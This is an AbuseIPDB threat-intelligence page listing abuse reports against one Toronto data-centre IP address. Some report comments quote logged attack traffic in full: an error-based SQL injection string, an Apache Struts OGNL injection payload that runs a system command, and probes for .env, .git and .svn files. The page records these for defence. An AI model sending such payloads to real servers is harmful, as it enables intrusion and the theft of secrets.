JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 216.26.239.33

216.26.239.33 was found in our database!

This IP was reported 12 times. Confidence of Abuse is 11%: ?

11%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇨🇦 Canada
City	Toronto, Ontario

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 216.26.239.33

Whois 216.26.239.33

IP Abuse Reports for 216.26.239.33:

This IP address has been reported a total of 12 times from 6 distinct sources. 216.26.239.33 was first reported on October 26th 2025, and the most recent report was 1 day ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 Sklurk	2026-07-09 01:04:32 (1 day ago)	Web App Attack	Web App Attack
🇫🇷 Sklurk	2026-07-08 00:29:45 (2 days ago)	Web App Attack	Web App Attack
🇬🇧 PeravixGroup	2026-05-22 11:30:05 (1 month ago)	Honeypot detection: Privilege escalation / elevation attempt on port 8080. Severity: CRITICAL. Aaran ... show more Honeypot detection: Privilege escalation / elevation attempt on port 8080. Severity: CRITICAL. Aaran.cloud show less	Hacking
🇨🇳 ThreatBook.io	2026-03-01 23:11:38 (4 months ago)	ThreatBook Intelligence: Spam more details on http://threatbook.io/ip/216.26.239.33 2026-03-01 10:43 ... show more ThreatBook Intelligence: Spam more details on http://threatbook.io/ip/216.26.239.33 2026-03-01 10:43:12 /book/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
Anonymous	2026-01-27 16:51:24 (5 months ago)	2026-01-27T18:51:24.189598+02:00 zanati wp(www.sahpa.co.za)[785902]: Blocked authentication attempt ... show more 2026-01-27T18:51:24.189598+02:00 zanati wp(www.sahpa.co.za)[785902]: Blocked authentication attempt for [email protected] from 216.26.239.33 ... show less	Web App Attack
🇨🇳 ThreatBook.io	2025-12-16 23:06:54 (6 months ago)	ThreatBook Intelligence: vpn_proxy more details on http://threatbook.io/ip/216.26.239.33 2025-12-16 ... show more ThreatBook Intelligence: vpn_proxy more details on http://threatbook.io/ip/216.26.239.33 2025-12-16 12:40:44 /prod-api/v2/api-docs 2025-12-16 12:40:45 /swagger/v1/swagger.json 2025-12-16 12:40:45 /v2/api-docs 2025-12-16 12:40:46 /swagger/docs/v1 2025-12-16 12:40:47 /v3/api-docs 2025-12-16 12:40:46 /api/swagger.json 2025-12-16 14:17:05 /news/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇺🇸 TPI-Abuse	2025-12-02 21:53:35 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Dec 02 16:53:32.899702 2025] [security2:error] [pid 13534:tid 13534] [client 216.26.239.33:25891] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "paulaperez.com"] [uri "/.git/HEAD"] [unique_id "aS9f3CSSFbi4Lr0VctcA7wAAAAk"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-02 19:02:54 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Dec 02 14:02:34.052238 2025] [security2:error] [pid 18888:tid 18888] [client 216.26.239.33:55765] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "iahksa.com"] [uri "/.env"] [unique_id "aS83ysdTpuX3JQSKRMV_LQAAABA"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-02 05:15:39 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Dec 02 00:15:33.941670 2025] [security2:error] [pid 32212:tid 32212] [client 216.26.239.33:41793] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "danharrisphotoart.com"] [uri "/.svn/wc.db"] [unique_id "aS519QO8dzOOWPPNDGlwXgAAAB8"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-02 04:09:47 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.239.33 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 01 23:09:37.162210 2025] [security2:error] [pid 10473:tid 10473] [client 216.26.239.33:51833] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "partyfavorboxes.com"] [uri "/.git/HEAD"] [unique_id "aS5mgamUXfhMxu3GPONCFgAAAAI"] show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2025-11-01 23:36:00 (8 months ago)	Unauthorized connection attempt	Brute-Force
🇨🇳 ThreatBook.io	2025-10-26 22:38:58 (8 months ago)	ThreatBook Intelligence: vpn_proxy more details on http://threatbook.io/ip/216.26.239.33 2025-10-26 ... show more ThreatBook Intelligence: vpn_proxy more details on http://threatbook.io/ip/216.26.239.33 2025-10-26 22:06:19 /?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023_memberAccess.allowStaticMethodAccess\u003dtrue%27)(bla)(bla)&(%27\u0023mycmd\u003d\%27netstat%20-an\%27%27)(bla)(bla)&(%27\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\[email protected]@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) show less	Web App Attack

Showing 1 to 12 of 12 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 142.93.48.137

🇮🇩 103.99.214.149

🇺🇸 44.197.57.57

🇬🇧 35.203.211.201

🇺🇸 188.213.202.144

🇨🇳 171.111.218.2

🇹🇭 159.192.132.34

🇷🇺 146.120.247.147

🇩🇪 64.89.163.178

🇳🇱 45.148.10.157

🇨🇳 14.103.115.124

🇺🇸 216.25.89.127

🇺🇸 155.2.215.64

🇨🇳 120.240.178.157

🇳🇱 91.92.42.172

🇮🇪 54.171.125.125

🇺🇸 44.115.169.233

🇺🇸 34.195.248.30

🇯🇵 8.216.15.11

🇩🇪 172.70.240.14